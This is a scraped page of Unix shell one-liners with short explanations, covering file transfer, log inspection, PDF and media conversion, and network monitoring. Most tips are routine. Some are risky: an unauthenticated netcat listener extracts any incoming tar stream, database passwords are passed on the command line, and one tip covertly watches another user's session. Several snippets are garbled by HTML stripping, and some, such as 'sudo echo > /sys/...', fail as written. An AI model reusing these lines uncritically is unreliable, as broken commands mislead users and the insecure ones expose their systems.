$ echo foo | tee >(cat) >(cat) >(cat) | cat
foo
Use tee + process substitution to split STDOUT to multiple commands
Using process substitution, we can 'trick' tee into sending a command's STDOUT to an arbitrary number of commands. The last command (command4) in this example will get its input from the pipe.
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
Speed up launch of firefox
Compress information DBs of firefox to speed up the launch of browser.
awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\" [shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display
Functions: awk printf
Print diagram of user/groups
Parses /etc/group to "dot" format and pases it to "display" (imagemagick) to show a usefull diagram of users and groups (don't show empty groups).
youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE
Convert Youtube videos to MP3
youtube-dl has this functionality built in. If you're running an older version of youtube-dl, you can update it using `youtube-dl -U` (although if you have an older version, it probably doesn't download youtube videos anyway.)
youtube-dl --help will show you other options that may come in useful.
while true; do nc -l 7000 | tar -xvf -; done
Create a file server, listening in port 7000
At client side:
tar c myfile | nc localhost 7000 ##Send file myfile to server
tar c mydir | nc localhost 7000 ## Send directory mydir to server
script -t /tmp/mylog.out 2>/tmp/mylog.time; ; ; scriptreplay /tmp/mylog.time /tmp/mylog.out
Functions: script
Shell recorder with replay
If you provide the option -t to the script command and redirect stderr into a file, the timing information on what is going on on the terminal, is also stored.
You can replay the session via the scriptreplay command, where you can also provide a speedup factor (see the man page for details).
Great for demonstration purposes ...
diff <(lsusb) <(sleep 3s && lsusb)
> Bus 002 Device 017: ID 0499:1039 Yamaha Corp.
Find usb device
I often use it to find recently added ou removed device, or using find in /dev, or anything similar.
Just run the command, plug the device, and wait to see him and only him
rm *.txt
linux:/tmp # rm *.txt
wildcard.txt tab.txt
prevent accidents while using wildcards
alternative for "echo rm *.txt". Just doubletab the command you are willing to use and it will show you the affected files.
lsof -Pan -i tcp -i udp
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
This command is more portable than it's cousin netstat. It works well on all the BSDs, GNU/Linux, AIX and Mac OS X. You won't find lsof by default on Solaris or HPUX by default, but packages exist around the web for installation, if needed, and the command works as shown. This is the most portable command I can find that lists listening ports and their associated pid.
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
analyze traffic remotely over ssh w/ wireshark
This captures traffic on a remote machine with tshark, sends the raw pcap data over the ssh link, and displays it in wireshark. Hitting ctrl+C will stop the capture and unfortunately close your wireshark window. This can be worked-around by passing -c # to tshark to only capture a certain # of packets, or redirecting the data through a named pipe rather than piping directly from ssh to wireshark. I recommend filtering as much as you can in the tshark command to conserve bandwidth. tshark can be replaced with tcpdump thusly:
ssh root@example.com tcpdump -w - 'port !22' | wireshark -k -i -
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
Functions: host ssh tar
throttle bandwidth with cstream
this bzips a folder and transfers it over the network to "host" at 777k bit/s.
cstream can do a lot more, have a look http://www.cons.org/cracauer/cstream.html#usage
for example:
echo w00t, i'm 733+ | cstream -b1 -t2
hehe :)
lsof -c dhcpd
[root@kxct1 prod]# lsof -c dhcpd
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
List all files opened by a particular command
List all file opened by a particular command based on it's command name.
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
Functions: rsync
Resume scp of a big file
It can resume a failed secure copy ( usefull when you transfer big files like db dumps through vpn ) using rsync.
It requires rsync installed in both hosts.
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file local -> remote
rsync --partial --progress --rsh=ssh $user@$host:$remote_file $destination_file remote -> local
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
$ sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
Functions: awk printf sudo zcat
Brute force discover
Show the number of failed tries of login per account. If the user does not exist it is marked with *.
rename 'y/A-Z/a-z/' *
convert uppercase files to lowercase files
[[ test_condition ]] && if_true_do_this || otherwise_do_that
Instead of writing a multiline if/then/else/fi construct you can do that by one line
instead of writing:
if [[ "$1" == "$2" ]]; then
echo "$1 is equal $2"
else
echo "$1 differs from $2"
fi
do write:
[[ "$1" == "$2" ]] && echo "$1 is equal $2" || echo "$1 differs from $2"
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x | endif | endif
VI config to save files with +x when a shebang is found on line 1
Add this to .vimrc to automatically give scripts with a shebang (e.g., #!/usr/bin/perl) executable permissions when saving.
Found @ http://stackoverflow.com/questions/817060/creating-executable-files-in-linux/817522#817522
find / -type f -size +500M
find all file larger than 500M
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
Functions: diff wget
ps hax -o user | sort | uniq -c
Functions: ps sort uniq
processes per user counter
awk is evil!
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=
)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
$ define bash
Functions: grep perl
This function takes a word or a phrase as arguments and then fetches definitions using Google's "define" syntax. The "nl" and perl portion isn't strictly necessary. It just makes the output a bit more readable, but this also works:
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=
)[^<]+';}
If your version of grep doesn't have perl compatible regex support, then you can use this version:
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '
//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
have you SEEN the people who wear the I LOVE LINUX T-shirts....that does more damage to the OS than a billion microsoft blue-screens
Functions: grep head perl sed
Random line from bash.org (funny IRC quotes)
bash.org is a collection of funny quotes from IRC.
WARNING: some of the quotes contain "adult" jokes... may be embarrassing if your boss sees them...
Thanks to Chen for the idea and initial version!
This script downloads a page with random quotes, filters the html to retrieve just one liners quotes and outputs the first one.
Just barely under the required 255 chars :)
Improvment:
You can replace the head -1 at the end by:
awk 'length($0)>0 {printf( $0 "\n%%\n" )}' > bash_quotes.txt
which will separate the quotes with a "%" and place it in the file.
and then:
strfile bash_quotes.txt
which will make the file ready for the fortune command
and then you can:
fortune bash_quotes.txt
which will give you a random quote from those in the downloaded file.
I download a file periodically and then use the fortune in .bashrc so I see a funny quote every time I open a terminal.
Remove empty directories
You can also use, $ find . -depth -type d -exec rmdir {} \; 2>/dev/null
numsum count.txt
15
Using numsum to sum a column of numbers.
numsum is part of of the num-utils package, which is available in some Linux distros and can also be downloaded at http://suso.suso.org/xulu/Num-utils. It contains about 10 different programs for dealing with numbers from the command line.
Obviously you can do a lot of things that the num-utils programs do in awk, sed, bash, perl scripts, but num-utils are there so that you don't have to remember the syntax for more complex operations and can just think: compute the sum, average, boundary numbers, etc.
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
dig @208.67.222.222 myip.opendns.com
Very effective, use only DNS protocol. The @ part is optional if you already set opendns servers as default ns servers.
grep -P "\x05\x00\xc0" mybinaryfile
grep binary (hexadecimal) patterns
-P activates the Perl regular expression mode.
sudo echo 0 > /sys/block/sdb/queue/rotational
set your ssd disk as a non-rotating medium
if you still get a permissions error using sudo, then nano the file:
sudo nano -w /sys/block/sdb/queue/rotational
and change 1 to 0
this thread:
http://www.ocztechnologyforum.com/forum/showpost.php?p=369836&postcount=15
says that this will "help the block layer to optimize a few decisions"
sleep 6s && notify-send -t 10000 -u critical "remember to think" &
Set a Reminder for yourself via the notification system
This will be seen through your system's visual notification system, notify-osd, notification-daemon, etc.
sleep accepts s,m,h,d and floats (date; sleep .25m; date)
notify-send (-t is in milliseconds && -u low / normal / critical)
man notify-send for more information
notification-daemon can use b/i/u/a HTML
ddate
$date
Thu Dec 1 18:28:51 CET 2011
$ddate
Today is Setting Orange, the 43rd day of The Aftermath in the YOLD 3177
$ddate +%.
Hail Eris, Hack Linux!
$man ddate
gag version of current date
tailf file.log
Functions: tailf
tailf same as tail -f follow the flow of a log file, showing it in real time to stdout.
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
Prerequisites: module Pod::Webserver installed. You can install it typing:
sudo perl -MCPAN -e 'install Pod::Webserver'
You can replace elinks with your fav browser. For FF:
podwebserver& sleep 2; firefox -remote 'openurl( http://127.0.0.1:8020/, new-tab )'
If you have Firefox open, this will pop-up the index web in a new tab.
Share your terminal session (remotely or whatever)
Force the user you want to watch doing things into doing his things in a screen session. Then simply attach yourself to that session with the command shown above.
Works only if you are on the same machine, of course
tail -f /path/to/timestamped/files/file-*(om[1])
Always tail/edit/grep the latest file in a directory of timestamped files
zsh only
If you have this command in your history, you can always re-run it and have it reference the latest file.
The glob matches all timestamped files and then the resulting array is sorted by modification time (m) and then the first element in the sorted array is chosen (the latest)
egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
Match a URL
For the record: I didn't build this. Just shared what I found that worked. Apologies to the original author!
I decided I should fix the case where http://example.com is not matched for the next time I need this. So I read rfc1035 and formalized the host name regex.
If anyone finds any more holes, please comment.
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
Ignore a directory in SVN, permanently
This command allow you to ignore certain directories on SVN commands, like SVN STATUS. It is sad see a lot of temporary files from templates_c for each "svn status", no? ;-)
This works only on directories under revision control.
tr "\n" " " < file
Even shorter. Stolen from comment posted by eightmillion.
eog `curl -s http://xkcd.com/ | sed -n 's/
Image URL.*: \(.*\)<\/h3>/\1/p'`
rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/
Rsync two directories with filtered extensions
‹ First < 57 58 59 60 61 > Last ›
svn diff | vim -
colorize your svn diff
Will colorize your svn diff.
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '//,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam mollis consequat mattis. Aliquam laoreet sem semper dolor hendrerit tempus. Pellentesque convallis porta consectetur. Aliquam erat volutpat. Pellentesque vel purus lorem. Aliquam erat volutpat. Sed eget dui eu ligula aliquam commodo. Pellentesque ac risus urna. Mauris imperdiet porttitor tempor. Integer lacinia imperdiet neque, nec fermentum nisi pretium facilisis. Morbi tempor tincidunt pellentesque. Phasellus ante elit, interdum ut euismod sit amet, sollicitudin vel est. Cras et quam nibh, id ultricies odio. Morbi turpis velit, semper non laoreet vel, fringilla sed diam.
Proin vel diam diam, eget auctor ipsum. Morbi est diam, vehicula a vulputate in, pretium quis nisi. Aliquam blandit odio et diam interdum euismod. Ut mattis pretium diam sed dictum. Curabitur adipiscing libero tellus. Vivamus elementum purus a dui pulvinar at tincidunt urna consequat. Aenean blandit magna eget ligula pellentesque at bibendum arcu gravida. Donec quis velit in dolor convallis viverra. Maecenas accumsan, tortor eu dictum rhoncus, erat est eleifend quam, non aliquam diam ante a risus. Aenean tristique porta viverra. Nam ullamcorper viverra eros, vestibulum facilisis sapien pretium ut. Nunc urna augue, semper sit amet posuere et, ultrices ac ante. Quisque sed tellus orci, quis lacinia orci. Maecenas dui nulla, ornare vitae tristique ut, condimentum a massa. Donec gravida, dolor sed pulvinar egestas, massa ante dapibus lectus, non molestie enim libero vitae elit
Functions: perl sed
Get Lorum Ipsum random text from lorumipsum.com
This will generate 3 paragraphs with random text. Change the 3 to any number.
$command 3>&1 1>&2 2>&3
swap stdout and stderr
Possible use, to filter something in stderr:
(/usr/bin/$COMMAND $PARAM 3>&1 1>&2 2>&3 | grep -v $uninteresting_error ) 3>&1 1>&2 2>&3
ls -A
List dot-files and dirs, but not . or ..
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
Functions: dd stty
Read a keypress without echoing it
This shell snippet reads a single keypress from stdin and stores it in the $KEY variable.
You do NOT have to press the enter key!
The key is NOT echoed to stdout!
This is useful for implementing simple text menus in scripts and similar things.
*/5 * * * * root /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t nsca_check_disk
% tail /var/log/messages
Apr 29, 17:40:00 192.168.6.19 nsca_check_disk: 1 data packet(s) sent to host successfully.
This command will log the output of your simple cronjobs to syslog, and syslog will take it from there. Works great for monitoring scripts which only produce simple output.
Advantages:
* This can be used by regular users, without modifying system files like /etc/syslog.conf
* Reduce cron spam to root@localhost (Please stop spaming the sysadmins)
* Uses common tools like syslog (and logrotate) so that you don't need to maintain yet another krufty logfile.
* Still ensures that the output is logged somewhere, for posterity. Perhaps it's stored the secure, central syslog server, for example.
* Seems to work fine on Ubuntu, CentOS, FreeBSD & MacOSX
diff -b $file1 $file2 # GNU Tools
diff files while disregarding indentation and trailing white space
echo {001..5}
001 002 003 004 005
enumerate with padding
bash2 : for X in $(seq 1 5); do printf "%03g " "$X";done
bash3 : for X in {1..5}; do printf "%03g " "$X";done
bash4 : echo {001..5}
nano +X foo
Jump to line X in file in Nano.
Starts the cursor on line X of file foo. Useful for longer files in which it takes a long time to scroll. If X is greater than the number of lines in file foo, it will go to the last existing line.
tail -f *[!.1][!.gz]
root@llistes:/var/log/mailman# tail -f *[!.1][!.gz]
==> error <==
==> post <==
==> qrunner <==
Mar 06 06:31:51 2009 (30465) OutgoingRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30467) RetryRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30466) VirginRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30461) BounceRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30463) IncomingRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30462) CommandRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30460) ArchRunner qrunner caught SIGHUP. Reopening logs.
Mar 06 06:31:51 2009 (30455) Master watcher caught SIGHUP. Re-opening log files.
==> smtp <==
==> subscribe <==
Mar 05 13:49:58 2009 (32332) test: new dreg@dreg.com,
Mar 05 13:49:58 2009 (32332) test: new nice@renice.co.uk,
Mar 05 13:49:58 2009 (32332) test: new thisisanemail@somailed.it,
==> vette <==
useful tail on /var/log to avoid old logs or/and gzipped files
with discard wilcards in bash you can "tail" newer logs files to see what happen, any error, info, warn...
FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.}
FILE=/home/eduo/file.zip
FILENAME=file.zip
FILEPATH=/home/eduo
NOEXT=file
EXT=zip
For a $FILE, extracts the path, filename, filename without extension and extension.
Useful for use in other scripts for renaming, testing for extensions, etc.
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.com/movies/HDmovie-h720p.mov
use mplayer to watch Apple Movie Trailer instead of quicktime player
http://trailers.apple.com/trailers/
just copy the .mov link and use mplayer to stream
tar -czf - * | ssh example.com "cat > files.tar.gz"
Pack up some files into a tarball on a remote server without writing to the local filesystem
I recently found myself with a filesystem I couldn't write to and a bunch of files I had to get the hell out of dodge, preferably not one at a time. This command makes it possible to pack a bunch of files into a single archive and write it to a remote server.
mmv "*.txt" "#1.md"
Batch rename extension of all files in a folder, in the example from .txt to .md
mmv most likely must be installed, but is very powerfull when you want to move/copy/append/link multiple files by wildcard patterns.
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
Functions: date tar
backup a directory in a timestamped tar.gz
creates a tar.gz with a name like:
backup20090410_173053.tar.gz
of a given directory.
this file was made 10 April 2009 at 5:30:53pm
see date's man page to customize the timestamp format
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
Count the number of characters in each line
for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
Convert multiple files using avidemux
Using avidemux to convert multiple files that are in the folder where the command was executed.
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
Functions: crontab dmesg echo
send kernel log (dmesg) notifications to root via cron
this is helpful because dmesg is where i/o errors, etc are logged to... you will also be able to see when the system reboots or someone attaches a thumb drive, etc.
don't forget to set yourself up in /etc/aliases to get roots email.
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
Functions: cut mkdir
Replicate a directory structure dropping the files
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
Remotely sniff traffic and pass to snort
I have a small embedded linux device that I wanted to use for sniffing my external network, but I didn't want to recompile/cross-compile snort for the embedded platform. So I used tcpdump over ssh to pass all the traffic as pcap data to a "normal" Linux system that then takes the pcap data and passes it to snort for processing.
ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
dbus 1
smmsp 1
avahi 2
root 69
admin 52
Functions: awk ps
enumerates the number of processes for each user.
ps BSD format is used here , for standard Unix format use : ps -eLf |awk '{$1} {++P[$1]} END {for(a in P) if (a !="UID") print a,P[a]}'
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
See how many % of your memory firefox is using
watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc'
10:0:1011
Binary clock with separate H:M:S.
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
Functions: fc-cache
Installing True-Type fonts
First you have to create a directory in your system, where the fonts will be stored, and copy them.
sudo mkdir /usr/share/fonts/miscttf; sudo cp *.ttf /usr/share/fonts/miscttf
After recharge cache with the command
wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done > ~/.windows
chromium
gedit
tint2
Functions: ps read
Save your open windows to a file so they can be opened after you restart
This will save your open windows to a file (~/.windows).
To start those applications:
cat ~/.windows | while read line; do $line &; done
Should work on any EWMH/NetWM compatible X Window Manager.
If you use DWM or another Window Manager not using EWMH or NetWM try this:
xwininfo -root -children | grep '^ ' | grep -v children | grep -v '' | sed -n 's/^ *\(0x[0-9a-f]*\) .*/\1/p' | uniq | while read line; do xprop -id $line _NET_WM_PID | sed -n 's/.* = \([0-9]*\)$/\1/p'; done | uniq -u | grep -v '^$' | while read line; do ps -o cmd= $line; done > ~/.windows
‹ First < 58 59 60 61 62 > Last ›
sed '/MARKER/{N;s/THIS/THAT/}'
$ cat test.plt
# set up gnuplot with some undetermined number of commands
#MARKER
replot "file1.dat" using 1:2
replot "file2.dat" using 1:2
replot "file3.dat" using 1:2
$ sed '/^#MARKER/{N;s/replot/plot/}' test.plt
plot "file1.dat" using 1:2
Apply substitution only on the line following a marker
I've been auto-generating some complex GnuPlots; with multiplots the first plot of each group needs to be a 'plot' whereas the others need to be 'replots' to allow overplotting/autoscaling/etc to work properly.
This is used to replace only the first instance of 'replot'.
alias lg='ls --color=always | grep --color=always -i'
Quick case-insenstive partial filename search
This is a simple command, but extremely useful. It's a quick way to search the file names in the current directory for a substring. Normally people use "ls *term*" but that requires the stars and is not case insensitive. Color (for both ls and grep) is an added bonus.
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
RAM Used By HTTP: 50.5000%
Functions: awk echo grep head tail
Print Memory Utilization Percentage For a specific process and it's children
Change the name of the process and what is echoed to suit your needs. The brackets around the h in the grep statement cause grep to skip over "grep httpd", it is the equivalent of grep -v grep although more elegant.
lsof -i :555-7000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
View details of network activity, malicious or otherwise within a port range.
View details of both TCP and UDP network activity within a specified port range.
openssl rand -base64 6
rUYIwxq4
for Mac OS X
find . -type f -mtime +7 -exec ls -l {} \;
Find files that are older than x days
Find files that are older than x days in the working directory and list them. This will recurse all the sub-directories inside the working directory.
By changing the value for -mtime, you can adjust the time and by replacing the ls command with, say, rm, you can remove those files if you wish to.
cuebreakpoints "$2" | shnsplit -o flac "$1"
Converts a single FLAC file with associated cue file into multiple FLAC files
Converts a single FLAC file with associated cue file into multiple FLAC files.
Takes two arguments: the name of the FLAC file and and the name of the cue file.
Example: flacAlbumToFiles foo.flac foo.cue
Requires:
- cuetools
- shntools
VBoxHeadless -s
run a VirtualBox virtual machine without a gui
you can launch a VirtualBox VM from the command line using VBoxManage, but that invokes it in a gui environment.
If you want to just fire off your VM in the background, use VBoxHeadless as shown. To get the names and UUIDs of your VirtualBox VMs, type:
VBoxManage list
cd /usr/home && for i in *;do chsh -s bash $i;done
Functions: bash cd chsh
Chage default shell for all users [FreeBSD]
This command will set bash as the default shell for all users in a FreeBSD system.
ssh -D 8888 user@site.com
Forward port 8888 to remote machine for SOCKS Proxy
Simply change your web browser's proxy settings to point to a SOCKS proxy at port 8888 and you're good to go.
sudo date -s "$(ssh user@server.com "date -u")"
Functions: date sudo
Sync the date of one server to that of another.
(Useful when firewalls prevent you from using NTP.)
very_long_command& sleep 10; kill $!
Functions: kill sleep
Run a command for a given time
or "Execute a command with a timeout"
Run a command in background, sleep 10 seconds, kill it.
! is the process id of the most recently executed background command.
You can test it with:
find /& sleep10; kill $!
lsof -i -n | grep ESTABLISHED
list processes with established tcp connections (without netstat)
Uses lsof to list open network connections (file descriptors), grepping for only those in an established state
convert images*.* .pdf
Convert images (jpg, png, ...) into a PDF
Converts images (maybe from scans) into a PDF
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
Functions: awk cut head
Get the IP address of a machine. Just the IP, no junk.
find . ! -name \*.md5 -exec 'md5sum "{}" > "{}".md5' \;
create missing md5 for all files in directory
Just use find. No need to test file existence. On gnu find you can limit directory depth. Use "{}" to manage correctly files with spaces
!!:gs/data/index/
Replace all in last command
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
batch convert Nikon RAW (nef) images to JPG
converts RAW files from a Nikon DSLR to jpg for easy viewing etc.
requires ufraw package
ssh -fY user@REMOTESERVER firefox -no-remote
Launch firefox on a remote linux server
Actually 'firefox' is a script that then launches the 'firefox-bin' executable. You need to specify the 'no-remote' option in order to launch remote firefox instead of your local one (this drove me crazy time ago)
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf
Concating pdf files
export PS1="${PS1%\\\$*}"' \t \$ '
user@hostname:~$ export PS1="${PS1%\\\$*}"' \t \$ '
user@hostname:~ 21:34:45 $
Add a Clock to Your CLI
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
% ip4grep /var/www/conf/httpd.conf
#Listen 192.0.2.3:80
# You will have to access it by its address (e.g., http://192.0.2.34/)
# e.g., www.apache.org (on) or 204.62.129.132 (off).
#NameVirtualHost 192.0.2.3:80
#NameVirtualHost 192.0.2.3
% ip4grep `find /etc -name '*.conf' -type f -print`
/etc/mrouted.conf:#name LOCAL 239.255.0.0/16
/etc/resolv.conf:nameserver 127.0.0.1
/etc/snmp/snmpd.conf:# % snmpwalk -v 1 -c public localhost .1.3.6.1.4.1.2021.2
Look for IPv4 address in files.
It finds a SNMP OID too :-(
watch ifconfig eth0
Functions: ifconfig watch
Watch Data Usage on eth0
ls -1 /lib/modules
Lists installed kernels
no need for rpm, no need for piping to another command. also no real fu but lacking in unnecessary complexity and distro specific commands.
function whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
$ function whichpkg(){ readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
$whichpkg rlogin
openssh-client: /usr/bin/ssh
Functions: readlink xargs
Find out which debian package a command (executable) belongs to on debian-based distros
This revision to my command (command #8851) was called for when it failed to find the parent
package of 'rlogin', which is really a deep symbolic link to /usr/bin/ssh.
This revision fixes this newfound issue, while ensuring fixes of other older issues work too.
‹ First < 59 60 61 62 63 > Last ›
ip link show
Functions: link
Get all mac address
I prefer the ip command to ifconfig as ifconfig is supposedly going to be deprecated. Certain IP address aliases can only be seen with the ip command (such as the ones applied by RHCS).
openssl rand -base64
$ openssl rand -base64 20
5ErrldoIzSjMgnLOopN1H0j58mU=
Produce a pseudo random password with given length in base 64
echo "^[]0;My_Title_Goes _Here^G"
Change the window title of your xterm
If you are using an xterm emulation capable terminal emulator, such as PuTTY or xterm on Linux desktop, this command will replace the title of that terminal window. I know it is not nice to have seventeen terminals on your desktop with title PuTTY, you can not tell which one is connected to which server and doing what.
Even though the string between the quotes is typed as literals, it needs a little more finesse to make it work. Here is how it is done key-by-key:
echo "( ctrl-v then ctrl-[ )0;Enter_Title_String_Here( ctrl-v then ctrl-g )"( enter )
ctrl-v : means hold down ctrl key and hit v at the same time like you are pasting in windoze ; also please don't type the parentheses, i.e., ( and )
mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
Create MySQL-Dump, copy db to other Server and upload the db.
This option makes a copy of your current db and via ssh it transfer to the server you specify and upload the database to the specific User & Password you specify (Note the db User & Pass, can be different from the one you use in the other server)
If you are going to use "localhost" as your main db remove (-h) and youst add "localhost"
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
You can use this to directly dump from machine A (with dvd drive) to machine B (without dvd drive) . I used this to copy dvd using my friend's machine to my netbook. Above command is to be issued on machine B.
Advantages :
1) No wasting time dumping first to machine A and then copying to Machine B.
2) You dont need to use space on Machine A. In fact, this will work even when Machine A doesnt have enough hdd space to dump the DVD.
Use -C ssh option on slow networks (enables compression).
you can replace "dd if=/dev/dvd" with any ripping command as long as it spews the iso to stdout.
ls -alh #mycomment
Insert a comment on command line for reminder
echo *.log | xargs
Functions: echo xargs
for too many arguments by *
grep ERROR *.log
-bash: /bin/grep: Argument list too long
echo *.log | xargs grep ERROR /dev/null
c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
$ c=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
sleep 1
[1] 25900
sleep 3
[2] 14967
sleep 0
[3] 3011
[4] 24050
[5] 25533
sleep 4
[6] 9794
[7] 17325
sleep 2
[8] 19922
8 waiting
[9] 29693
[10] 1863
[11] 21993
[12] 1450
[13] 23873
[14] 24563
[15] 625
[16] 9172
16 waiting
'hpc' in the box - starts a maximum of n compute commands modulo n controlled in parallel
the block of the loop is useful whenever you have huge junks of similar jobs, e.g., convert high res images to thumbnails, and make usage out of all the SMP power on your compute box without flooding the system.
note: c is used as counter and the random sleep
r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r
is just used as a dummy command.
for f in *;do mplayer $f;read $n;mv $f $n;done
Simplified video file renaming
I used this when I had a directory of movies from a camera. I wanted to watch a little of each movie, then rename it depending on what was in the movie. This did the trick for me.
lsof -i :22
dtach -c /tmp/wires-mc mc
detach remote console for long running operations
Starts midnightcommander and allows you to detach the console; use ctrl-\ to detach
Then at a later time you can reconnect using
dtach -a /tmp/wires-mc
In my experience dtach works much better for programs like irssi, mutt, mc, aptitude than screen does.
convert sample.pdf sample.jpg
gnu@robby:/tmp/tigre$ ls
doc_data.txt pg_0004.pdf pg_0009.pdf pg_0014.pdf pg_0019.pdf pg_0024.pdf
lt003.pdf pg_0005.pdf pg_0010.pdf pg_0015.pdf pg_0020.pdf
pg_0001.pdf pg_0006.pdf pg_0011.pdf pg_0016.pdf pg_0021.pdf
pg_0002.pdf pg_0007.pdf pg_0012.pdf pg_0017.pdf pg_0022.pdf
pg_0003.pdf pg_0008.pdf pg_0013.pdf pg_0018.pdf pg_0023.pdf
gnu@robby:/tmp/tigre$ convert pg_0001.pdf test.png
**** Warning: Generation number out of 0..65535 range, assuming 0.
**** Warning: File has an invalid xref entry: 2. Rebuilding xref table.
**** This file had errors that were repaired or ignored.
**** The file was produced by:
**** >>>> itext-paulo-155 (itextpdf.sf.net-lowagie.com) <<<<
**** Please notify the author of the software that produced this
**** file that it does not conform to Adobe's published PDF
**** specification.
gnu@robby:/tmp/tigre$ file test.png
test.png: PNG image, 595 x 780, 16-bit/color RGB, non-interlaced
convert pdf to graphic file format (jpg , png , tiff ... )
need imagemagick package
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
split and combine different pages from different pdf's
The command shows the real power of the pdftk tool, you can do basically everything you want with multiple pdf's.
In the command a book is created from chapters, headings and covers.
echo 00:29:36 | awk -F: '{print ($1*3600)+($2*60)+$3}'
Convert HH:MM:SS into seconds
I'm guessing there's an even easier way.
sed -i '19375 s/^/#/' file
Comment out a line in a file
This will comment out a line, specified by line number, in a given file.
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
simple backup with rsync
With this cron, rsync begins to sinchronize the contents of the local directory on /[VIPdirectory] with the directory /backup/[VIPdirectory] on the remote server X.X.X.X. Previously we need working on public/private-keys ssh to guarantee the acces to the remote server on X.X.X.X
echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))
